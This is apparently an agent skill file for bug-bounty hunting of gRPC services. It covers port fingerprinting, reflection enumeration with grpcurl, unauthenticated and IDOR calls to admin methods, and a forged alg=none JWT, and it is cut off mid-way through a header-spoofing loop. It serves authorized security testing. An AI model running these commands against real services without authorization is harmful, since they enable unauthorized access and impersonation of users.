/hunt-grpc

name: hunt-grpc
description: "Hunt gRPC vulnerabilities — server reflection enabled (enumerate all services/methods), missing authentication / metadata-stripping on internal endpoints, plaintext gRPC over HTTP/2, internal endpoint disclosure, proto file leakage, gRPC-Web/grpc-gateway transcoding injection, and HTTP/2 Rapid Reset DoS (CVE-2023-44487). Use when target exposes port 50051 / 443 / 8443 / 9090 with HTTP/2, when grpcurl/grpcui detects reflection, when an Envoy or grpc-gateway proxy is fronting a microservice, or when recon reveals a microservice architecture."
sources: hackerone_public, grpc_security_research, cert_cc_advisory
report_count: 6

HUNT-GRPC — gRPC Security

Crown Jewel Targets

gRPC reflection enabled = full service catalog enumeration without source code. The highest-value gRPC bugs come from the architectural assumption that a service is "internal" — auth is enforced at the edge proxy, and the backend trusts any caller that reaches it. Once you reach the backend directly (exposed port, SSRF, proxy bypass), that trust collapses.

**Highest-value findings:**

• **Reflection enabled in production** — `grpc.reflection.v1alpha.ServerReflection` / `grpc.reflection.v1.ServerReflection` lists every method, message, and internal service. Enumeration enabler, not a vuln on its own (see Validation).
• **Missing auth on internal service** — a service designed for east-west microservice traffic exposed externally with no mTLS and no per-method authorization → call privileged methods directly.
• **Edge-auth-only / metadata-stripping** — proxy authenticates the user but the backend re-trusts proxy-injected headers (`x-user-id`, `x-tenant-id`, `x-forwarded-*`); if you reach the backend or can inject those headers via the proxy, you impersonate any tenant.
• **Plaintext gRPC** — gRPC h2c (cleartext HTTP/2) on a non-standard port → credential/metadata interception.
• **HTTP/2 Rapid Reset DoS (CVE-2023-44487)** — interleaved HEADERS + immediate RST_STREAM frames bypass `MAX_CONCURRENT_STREAMS` accounting → resource exhaustion. **DoS is in scope on almost no program — get explicit written authorization before sending a single burst.**

---

Phase 1 — Fingerprint & Port Discovery

# Common gRPC ports (50051 native; 443/8443 via TLS+ALPN h2; 9090/8080 h2c)
nmap -sV -p 50051,50052,443,9090,8080,8443,6565,9000 $TARGET 2>/dev/null | grep open

# ALPN must negotiate h2 — gRPC cannot run on HTTP/1.1
echo | openssl s_client -alpn h2 -connect $TARGET:443 2>/dev/null | grep -i "ALPN.*h2"

# Native-gRPC fingerprint: an HTTP/2 POST to a bogus method returns a grpc-status
# trailer (12 = UNIMPLEMENTED) even when the path is wrong — strong signal it's gRPC.
curl -s --http2-prior-knowledge -X POST "http://$TARGET:9090/x.Y/Z" \
  -H "content-type: application/grpc" -o /dev/null -D - | grep -i grpc-status

# TLS-fronted h2 (port 443): look for grpc-status trailer / grpc content-type
curl -s --http2 -X POST "https://$TARGET/grpc.health.v1.Health/Check" \
  -H "content-type: application/grpc-web+proto" -o /dev/null -D - | grep -i "grpc-status\|content-type"

`grpc-status` trailer present ⇒ a gRPC server (or grpc-gateway/Envoy) is behind that port. `UNIMPLEMENTED` on a random path is normal and only confirms the transport — not a finding.

---

Phase 2 — Service Enumeration via Reflection

brew install grpcurl   # or: go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest

# List services — -plaintext for h2c, -insecure for self-signed TLS, plain for valid TLS
grpcurl -plaintext $TARGET:50051 list
grpcurl -insecure  $TARGET:443   list

# Typical output when reflection is on:
#   grpc.reflection.v1.ServerReflection
#   grpc.health.v1.Health
#   user.UserService
#   admin.AdminService
#   payment.PaymentService

# List + describe every method of each service
grpcurl -plaintext $TARGET:50051 list admin.AdminService
grpcurl -plaintext $TARGET:50051 describe admin.AdminService.DeleteUser
grpcurl -plaintext $TARGET:50051 describe .admin.DeleteUserRequest   # message schema

# Dump the whole catalog to triage interesting surfaces
for SVC in $(grpcurl -plaintext $TARGET:50051 list); do
  echo "== $SVC =="; grpcurl -plaintext $TARGET:50051 list "$SVC"
done | tee grpc-catalog.txt
grep -iE 'admin|internal|debug|secret|impersonate|exec|migrate|reset|delete' grpc-catalog.txt

**Reflection disabled?** You can still call known methods if you can guess them, or rebuild the descriptor set from a leaked `.proto` (Phase 5) and pass it with `grpcurl -protoset bundle.bin ...`. Reflection-off is a hardening control, not a security boundary.

---

Phase 3 — Call Methods Without Authentication (authz testing)

# Baseline: call a sensitive method with NO auth metadata
grpcurl -plaintext $TARGET:50051 -d '{}' admin.AdminService/ListUsers

# IDOR across an enumerable id field
for ID in 1 2 3 100 1000 1001; do
  echo "id=$ID"; grpcurl -plaintext $TARGET:50051 \
    -d "{\"user_id\": $ID}" user.UserService/GetUser 2>&1 | head -4
done

**Interpret the gRPC status code, not just whether bytes came back (see Validation):**

• `OK` + populated response → method executed unauthenticated → finding.
• `Unauthenticated (16)` / `PermissionDenied (7)` → authz is enforced; NOT a finding.
• `Unimplemented (12)` → wrong path / method not on this server.
• `InvalidArgument (3)` → reached and parsed your input → method is callable; fix the payload and retry.

---

Phase 4 — Authentication / Trust-Boundary Bypass

# (a) Forged bearer / alg=none JWT in the authorization metadata
grpcurl -plaintext $TARGET:50051 \
  -H "authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiIxIn0." \
  -d '{}' admin.AdminService/GetConfig

# (b) Backend-trusts-proxy headers: many gRPC backends authenticate at Envoy and
#     then trust identity injected as metadata. If the edge does not STRIP these,
#     spoofing them = full impersonation. Test every plausible name:
for H in